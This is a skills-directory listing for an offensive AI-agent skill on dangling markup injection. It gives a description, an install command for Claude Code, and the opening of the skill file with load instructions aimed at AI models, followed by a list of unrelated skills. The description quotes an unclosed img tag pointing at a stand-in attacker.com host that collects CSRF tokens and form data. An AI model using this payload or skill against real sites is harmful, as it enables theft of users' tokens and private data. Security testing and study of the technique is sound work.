yaklang avatar

Dangling Markup Injection

When CSP blocks your XSS or sanitizers strip event handlers, dangling markup lets you exfiltrate CSRF tokens and sensitive form data without executing JavaScript. You inject an unclosed HTML tag like `<img src="https://attacker.com/collect?` and let the browser consume everything after it until the next matching quote, turning hidden inputs and page content into URL parameters sent to your server. Chrome has mitigated some vectors since version 60, but form action hijacking and base tag poisoning still work across browsers. The skill covers seven exfiltration techniques, browser-specific quirks, and tactical combinations with CSRF and cache poisoning attacks. It's niche but essential when you hit that "HTML injection but no script execution" wall.

skills.sh installs
3.8K
GitHub stars
2.6K
last updated
Aug 21, 2026

Install

$ npx -y skills add yaklang/hack-skills --skill dangling-markup-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING


1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

Sponsors

Details

Repository
github.com/yaklang/hack-skills
Categories
Frontend Development, Security, Automation & Workflows
First seen
Jun 3, 2026

More from yaklang/hack-skills

All 102
1dpearson2699 avatartipkitdpearson2699/swift-ios-skillsImplement and review Apple TipKit feature-discovery UI for iOS 17+ apps. Use when adding or auditing in-app tips, contextual help, coach marks, Tip, TipView, po3.8Kskills.sh installs
2dotnet avataruse-js-interopdotnet/skillsAdd, review, or fix JavaScript interop in Blazor components. USE FOR: calling JavaScript from Blazor, calling .NET from JavaScript, collocated .razor.js modules3.7Kskills.sh installs
3dotnet avatarconvert-blazor-server-to-webappdotnet/skillsGuides conversion of a pre-.NET 8 Blazor Server app into a .NET 8+ Blazor Web App. USE FOR: migrating apps that use AddServerSideBlazor and MapBlazorHub to the 3.7Kskills.sh installs
4browser-use avataropen-sourcebrowser-use/browser-useDocumentation reference for writing Python code using the browser-use open-source library. Use this skill whenever the user needs help with Agent, Browser, or T3.7Kskills.sh installs
5dotnet avatarsupport-prerenderingdotnet/skillsMake interactive Blazor components work correctly with prerendering. USE FOR fixing duplicate data loads, UI flicker during prerender-to-interactive handoff, nu3.7Kskills.sh installs
6cosscom avatarcoss-particlescosscom/cossIndex of all COSS UI particle examples. Use when implementing UI features to find copy-paste-ready component patterns built on coss primitives. Each particle ha3.6Kskills.sh installs